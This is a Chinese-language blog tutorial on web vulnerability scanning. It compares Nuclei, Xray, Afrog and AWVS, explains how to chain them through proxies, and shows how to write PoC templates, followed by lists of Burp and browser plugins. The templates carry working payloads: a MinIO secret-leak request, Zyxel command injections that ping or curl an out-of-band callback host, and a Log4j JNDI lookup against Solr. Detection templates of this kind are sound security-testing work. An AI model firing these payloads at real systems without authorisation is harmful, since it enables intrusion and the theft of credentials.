漏洞发现

漏洞发现

一、漏洞扫描工具

1.1 工具分类与对比

漏洞扫描工具按工作原理分为两大类:

类型 原理 代表工具 适用场景
特征类(PoC 驱动) 基于已知漏洞的 PoC 模板对目标发包,匹配响应判断是否存在漏洞 Nuclei、Afrog、Goby、Yakit 已知组件/框架漏洞快速验证、批量资产扫描
综合类(爬虫 + PoC) 先通过爬虫获取目标所有页面和参数,再对每个请求进行常规漏洞检测 AWVS、Xray 对单个站点进行全面漏洞评估

AWVS vs Xray 核心差异

对比维度 AWVS Xray
爬虫能力 强,能处理复杂 JS 渲染页面 弱,依赖外部流量输入
PoC 覆盖 国内漏洞覆盖较少 国内漏洞覆盖较好
扫描方式 主动扫描为主 被动扫描为主,也支持主动
最佳实践 作为流量来源驱动 Xray 作为漏洞检测引擎接收流量

1.2 特征类工具

Nuclei

官网https://nuclei.projectdiscovery.io/

项目https://github.com/projectdiscovery/nuclei

PoC 模板库

常用命令

# 扫描单个目标
nuclei -target https://example.com

# 批量扫描 URL 列表
nuclei -l urls.txt

# 使用指定 PoC 模板扫描
nuclei -t ./test/test.yaml -l urls.txt

# 使用指定目录下所有 PoC 扫描
nuclei -t ./test/ -l urls.txt

# 推荐:批量扫描并输出结果
nuclei -l urls.txt -t test.yaml -o result.txt

Afrog

项目https://github.com/zan8in/afrog

简介:性能卓越、快速稳定、PoC 可定制的漏洞扫描工具,涵盖 CVE、CNVD、默认口令、信息泄露、未授权访问、任意文件读取、命令执行等多种漏洞类型。

常用命令

# 扫描单个目标,输出 HTML 报告
afrog -t http://example.com -o result.html

# 批量扫描,输出 HTML 报告
afrog -T urls.txt -o result.html

# 使用指定 PoC 扫描
afrog -t http://example.com -P ./poc/poc-test.yaml -o result.html

# 使用指定目录下所有 PoC 扫描
afrog -t http://example.com -P ./poc/ -o result.html

# 调试时加入代理便于分析数据包
afrog -t http://example.com -P ./poc/test.yaml --proxy http://127.0.0.1:8080

Goby

官网https://gobysec.net/

GUI 界面,操作简单。内置大量资产识别规则和漏洞 PoC,适合快速对目标进行综合性安全评估,也支持自定义 PoC 扩展。

Yakit

官网https://www.yaklang.com/

GUI 界面,操作简单。兼具特征类和综合类扫描能力,同时集成了流量分析、反序列化利用、Java 安全测试等功能,是国内较全面的一体化安全测试平台。

1.3 综合类工具

AWVS

定位:主动扫描为主,爬虫能力强,适合作为流量生产方驱动其他工具。

适用场景

  • 单点对某站点进行全面安全评估
  • 与 Xray 联动,将爬虫流量交给 Xray 进行二次漏洞检测
  • 联动 APP 抓包进行安全评估(如安卓模拟器中的 APP 应用)

Xray

定位:被动扫描为主,PoC 国内覆盖好,需要配合流量来源使用。

扫描命令

# 主动扫描(自带基础爬虫)
.\xray_windows_amd64.exe webscan --basic-crawler http://目标地址/ --html-output result.html

# 被动扫描(监听代理端口,接收外部流量)
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output result.html

# 调试模式(开发或调试 PoC 时使用)
.\xray --log-level debug webscan --poc .\test.yaml --url https://目标地址

1.4 联动扫描方案

联动的核心思路:用爬虫能力强的工具产生流量,用 PoC 能力强的工具检测漏洞,解决单一工具的短板。

方案一:Burp + Xray(手工流量 → 漏洞检测)

适用场景:手工测试时,将 Burp 拦截的流量同步给 Xray 进行自动化漏洞检测,适合精准测试某个功能点。

用户浏览器 → Burp(拦截/转发,同时转发到 Xray)→ 目标服务器
                                ↓
                         Xray 被动扫描

配置步骤

  1. Xray 启动被动扫描模式,监听本地端口(如 7777)
  2. Burp 上游代理设置为 Xray 监听地址(127.0.0.1:7777)
  3. 正常使用 Burp 测试,流量自动流向 Xray

方案二:AWVS + Xray(爬虫流量 → 漏洞检测)

适用场景:利用 AWVS 的强爬虫能力覆盖所有页面,同时将流量交给 Xray 进行更全面的国内漏洞检测。

AWVS 爬虫 → 代理转发 → Xray 被动扫描 → 目标服务器

配置步骤

  1. Xray 启动被动扫描模式,监听本地端口
  2. AWVS 扫描任务中配置代理为 Xray 监听地址
  3. AWVS 爬取目标的同时,Xray 对所有流量进行漏洞检测

方案三:AWVS + Burp + Xray(三层串联,最大化覆盖)

适用场景:对重要目标进行最全面的扫描,三个工具各自发挥优势,流量逐层经过每个工具的检测引擎。

AWVS 爬虫 → Burp(中转,自身扫描一次)→ Xray 被动扫描 → 目标服务器

配置步骤

  1. Xray 启动被动扫描,监听端口 A
  2. Burp 上游代理设置为 Xray 端口 A,同时开启自身扫描
  3. AWVS 代理设置为 Burp 监听端口,启动扫描
  4. 流量依次经过 AWVS → Burp → Xray,三层各扫一次

:三层联动配置较复杂,建议在重点目标或 HW/SRC 场景下使用。日常测试用方案一或方案二即可。

二、PoC 开发

2.1 Nuclei PoC 开发

开发环境

BurpSuite 插件辅助生成流程

  1. 在 BurpSuite 中安装 nuclei-burp-plugin
  2. 配置插件中的模板保存路径
  3. 在 Burp 中选中目标数据包,右键生成 Nuclei 模板
  4. 在生成的模板基础上修改匹配规则后测试提交

YAML 语法基础

YAML 是 Nuclei 模板的基础语法,核心规则:

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进只能用空格,不能用 Tab
  • 同级元素左侧对齐即可,空格数不限

Nuclei 模板结构

部分 字段 说明
编号 id 模板唯一标识,不能含空格
信息 info name、author、severity、description、tags、reference 等
请求 http / tcp / file 定义发送的请求内容
匹配 matchers 定义如何判断漏洞存在(响应体、状态码、交互平台等)
提取 extractors 从响应中提取信息(可选)

开发流程

  1. 套用模板框架
  2. 填写 id 和 info 信息
  3. 编写请求部分(method、path、headers、body)
  4. 确定匹配模式(有回显用 word/regex 匹配,无回显用 interactsh 带外)
  5. 按需添加 extractors 提取关键信息
  6. 本地测试验证

实例

案例一:有回显 - 匹配响应体关键字(CVE-2023-28432)

漏洞:MinIO 集群模式信息泄露,POST 请求后响应体中包含环境变量明文。

漏洞参考

id: CVE-2023-28432

info:
  name: MinIO 集群模式信息泄露漏洞
  author: xiaodisec
  severity: high
  description: RELEASE.2023-03-20T20-16-18Z 版本前,集群模式下攻击者可通过 POST 请求获取所有环境变量,包含 MINIO_SECRET_KEY 和 MINIO_ROOT_PASSWORD。
  reference:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
  tags: minio,cve,exposure

http:
  - raw:
      - |
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: word
        part: body
        words:
          - '"MINIO_ROOT_PASSWORD":'
          - '"MINIO_ROOT_USER":'
          - '"MinioEnv":'
        condition: and
案例二:无回显 RCE - 使用 interactsh 带外检测(CVE-2022-30525)

漏洞:Zyxel 防火墙远程命令注入,命令执行无回显,通过 DNS 带外验证。

资产发现(FOFA)title=="USG FLEX 50 (USG20-VPN)"

漏洞参考

id: CVE-2022-30525

info:
  name: Zyxel 防火墙远程命令注入漏洞
  author: xiaodisec
  severity: high
  description: 影响支持 ZTP 的 Zyxel 防火墙(ATP/VPN/USG FLEX 系列),未授权攻击者可以 nobody 用户身份执行任意代码。
  reference:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
  tags: zyxel,cve,rce

http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{varname}}","data":"hi"}

    payloads:
      varname:
        - ";ping -c 3 {{interactsh-url}};"  # interactsh 类似 dnslog,用于无回显带外验证

    attack: pitchfork

    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

批量扫描命令

nuclei -t CVE-2022-30525.yaml -l targets.txt -o result.txt

2.2 Xray PoC 开发

开发环境与参考

调试技巧:在 config.yaml 中配置代理,启动时通过 Burp 观察 Xray 实际发出的数据包(需安装 Burp 证书)。

调试命令

.\xray --log-level debug webscan --poc .\test.yaml --url https://目标地址

Xray 模板结构

部分 字段 说明
名称 name PoC 名称,如 poc-yaml-tongda-oa-rce
脚本 rules 定义请求内容和匹配/提取规则
信息 detail 作者、参考链接等附加信息

rules 中各字段说明

字段 类型 说明
method string 请求方法
path string 请求的完整路径,包含 querystring
headers map 自定义请求头,会覆盖原始数据包中的对应头
body string 请求体
follow_redirects bool 是否跟随 30x 跳转
expression string 判断该条 rule 的结果(真/假)
search string 从响应包中提取信息

实例

案例一:有回显 - 匹配响应体(CVE-2023-28432)
name: poc-yaml-CVE-2023-28432
transport: http
rules:
  r1:
    request:
      method: POST
      path: /minio/bootstrap/v1/verify
      headers:
        Content-Type: application/x-www-form-urlencoded
    expression: |
      response.status == 200 && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression: r1()
detail:
  author: xiaodisec
  links:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
案例二:无回显 RCE - 写死 DNSLog 地址(CVE-2022-30525)

适用于临时测试,直接将 DNSLog 地址硬编码进 payload,观察平台是否收到 DNS 请求。

name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 替换为你的dnslog地址;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: response.status == 200
expression: r0()
detail:
  author: xiaodisec
  links:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
案例三:无回显 RCE - 反连平台自动验证(CVE-2022-30525)

使用 Xray 内置的反连平台(newReverse()),自动生成唯一 URL 并等待目标回调,无需手动查看 DNSLog。

前提条件

  • 有域名:在 config.yaml 中配置好反连平台域名
  • 无域名:可修改 hosts 文件指向,但 Xray 会在域名后随机拼接二级域名,hosts 无法覆盖,实际无法验证是否成功,建议有域名时使用此方案
name: poc-yaml-CVE-2022-30525
manual: true
set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain
transport: http
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: reverse.wait(5)  # 等待 5 秒,若反连平台收到请求则判断漏洞存在
expression: r0()
detail:
  author: xiaodisec
  links:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553

2.3 Afrog PoC 开发

开发环境与参考

afrog -t https://目标地址 -P ./poc/test.yaml

Afrog 模板结构

Afrog 的模板语法融合了 Nuclei 和 Xray 两者的风格:

部分 字段 对应关系
编号与信息 idinfo 类似 Nuclei
变量定义 set 类似 Xray
规则脚本 rules 类似 Xray
执行判断 expression 类似 Xray

实例

案例一:有回显 - 匹配响应体(CVE-2023-28432)
id: CVE-2023-28432

info:
  name: MinIO 集群模式信息泄露漏洞
  author: xiaodisec
  severity: critical

rules:
  r0:
    request:
      method: POST
      path: /minio/bootstrap/v1/verify
      headers:
        Content-Type: application/x-www-form-urlencoded
    expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()

测试命令

afrog -t https://目标地址 -P minio.yaml -o result.html
案例二:无回显 RCE - 写死 DNSLog 地址(CVE-2022-30525)
id: CVE-2022-30525

info:
  name: Zyxel 防火墙远程命令注入漏洞
  author: xiaodisec
  severity: critical

rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 替换为你的dnslog地址;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: response.status == 200
expression: r0()
案例三:无回显 RCE - 使用 Afrog 内置反连平台(CVE-2022-30525)

前提:在 afrog-config.yaml 中配置好 ceye 平台的对应信息。

id: CVE-2022-30525

info:
  name: Zyxel 防火墙远程命令注入漏洞
  author: xiaodisec
  severity: critical

set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain

rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: reverse.wait(100)  # 等待 100 秒内是否收到反连请求
expression: r0()
案例四:无回显 JNDI 注入(CVE-2021-44228 / Log4j2)

前提

  1. 启动 JNDI 监听服务:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
  1. afrog-config.yaml 中配置 JNDI 对应信息
id: solr-log4j-rce

info:
  name: Apache Solr Log4j 远程代码执行漏洞
  author: xiaodisec
  severity: critical
  verified: true

set:
  reverse: newJNDI()
  jndiURL: reverse.url.host + reverse.url.path

rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
    expression: reverse.jndi(5)  # 等待 5 秒内是否收到 JNDI 回调
expression: r0()

测试命令

afrog -t http://目标地址:8983 -P log4j.yaml

2.4 三款工具 PoC 开发横向对比

对比维度 Nuclei Xray Afrog
模板语法 纯 YAML,字段固定 YAML,表达式语言更灵活 融合 Nuclei + Xray 风格
有回显匹配 matchers word/regex expression contains expression bcontains
无回显带外 内置 interactsh,自动化程度高 newReverse(),需配置域名 newReverse() / ceye,需配置
JNDI 支持 不直接支持 不直接支持 内置 newJNDI()
调试方式 命令行参数 -debug config.yaml 配置代理 --proxy 参数
模板生成辅助 有 Burp 插件辅助生成

三、插件武装

3.1 BurpSuite 插件

漏洞检测类

插件 扫描方式 简介 地址
Fiora 主动 为 Nuclei PoC 提供图形界面,支持快速搜索和一键运行,适合在 Burp 中直接调用 Nuclei 模板扫描 https://github.com/bit4woo/Fiora
TsojanScan 主动 + 被动 集成常见漏洞探测规则,检测精准度较高,支持主被动两种模式 https://github.com/Tsojan/TsojanScan
RouteVulScan 被动 递归式检测脆弱路径,专注信息泄露类漏洞(备份文件、敏感目录等) https://github.com/F6JO/RouteVulScan

选择建议:三个插件可同时启用,互相补充。Fiora 负责已知 CVE 快速验证,TsojanScan 负责常规漏洞检测,RouteVulScan 负责路径信息泄露的被动兜底。

分析辅助类

插件 简介 地址
HaE 通过自定义正则对请求/响应报文进行高亮标记和敏感信息提取(AK/SK、Token、手机号、身份证等),防止人工分析时遗漏 https://github.com/gh0stkey/HaE
knife 右键菜单增强,快速定位数据包、调用外部工具,提升操作效率 https://github.com/bit4woo/knife
domain_hunter_pro 从流量中自动提取域名和 IP,支持数据筛选、接口调用和资产信息收集,适合测试前期资产梳理 https://github.com/bit4woo/domain_hunter_pro
burp_nu_te_gen Nuclei 模板辅助生成插件,在 Burp 中直接将数据包转换为 Nuclei PoC 模板框架 https://github.com/ffffffff0x/burp_nu_te_gen

:burp_nu_te_gen 与官方 nuclei-burp-plugin 功能类似,二选一即可;HaE 规则库可从 此处 导入,也可自定义正则扩展。

推荐加载顺序

建议按以下顺序加载插件,兼顾性能与覆盖面:

HaE(全程信息提取)
→ knife(操作增强)
→ domain_hunter_pro(资产收集)
→ TsojanScan(被动漏洞检测)
→ RouteVulScan(路径漏洞被动检测)
→ Fiora(主动 CVE 验证,按需启用)
→ burp_nu_te_gen(PoC 生成,按需启用)

3.2 浏览器插件

参考文章

插件 用途分类 功能说明
Wappalyzer 信息收集 识别网站技术栈(框架、语言、服务器、CDN 等)
FindSomething 信息收集 从页面源码和 JS 文件中提取 URL、IP、证件号、手机号、邮箱等敏感数据
SuperSearchPlus 信息收集 + 查询 集成多平台搜索入口,快速发起情报查询
Penetration Testing Kit 信息收集 + 漏洞探测 综合信息收集工具,支持历史 CVE 探测
情报社区 情报辅助 对当前页面 IP/域名进行威胁情报快速查询
Heimdallr 安全防护 蜜罐识别,访问页面时自动检测蜜罐特征,避免踩坑
HackBar 渗透辅助 快速构造和修改 HTTP 请求,支持常见编解码和 payload 注入
Hack-Tools 渗透辅助 常用 payload 快捷生成(反弹 Shell、编解码、哈希计算等)

使用建议

  • 测试前期:优先开启 Wappalyzer + FindSomething + SuperSearchPlus,快速完成指纹识别和信息收集
  • 测试过程中:保持 Heimdallr + 情报社区常驻,防止误入蜜罐,随时查询可疑 IP
  • 漏洞利用阶段:按需使用 HackBar + Hack-Tools 辅助构造 payload
posted @ 2025-12-02 09:29  shinianyunyan  阅读(124)  评论(0)    收藏  举报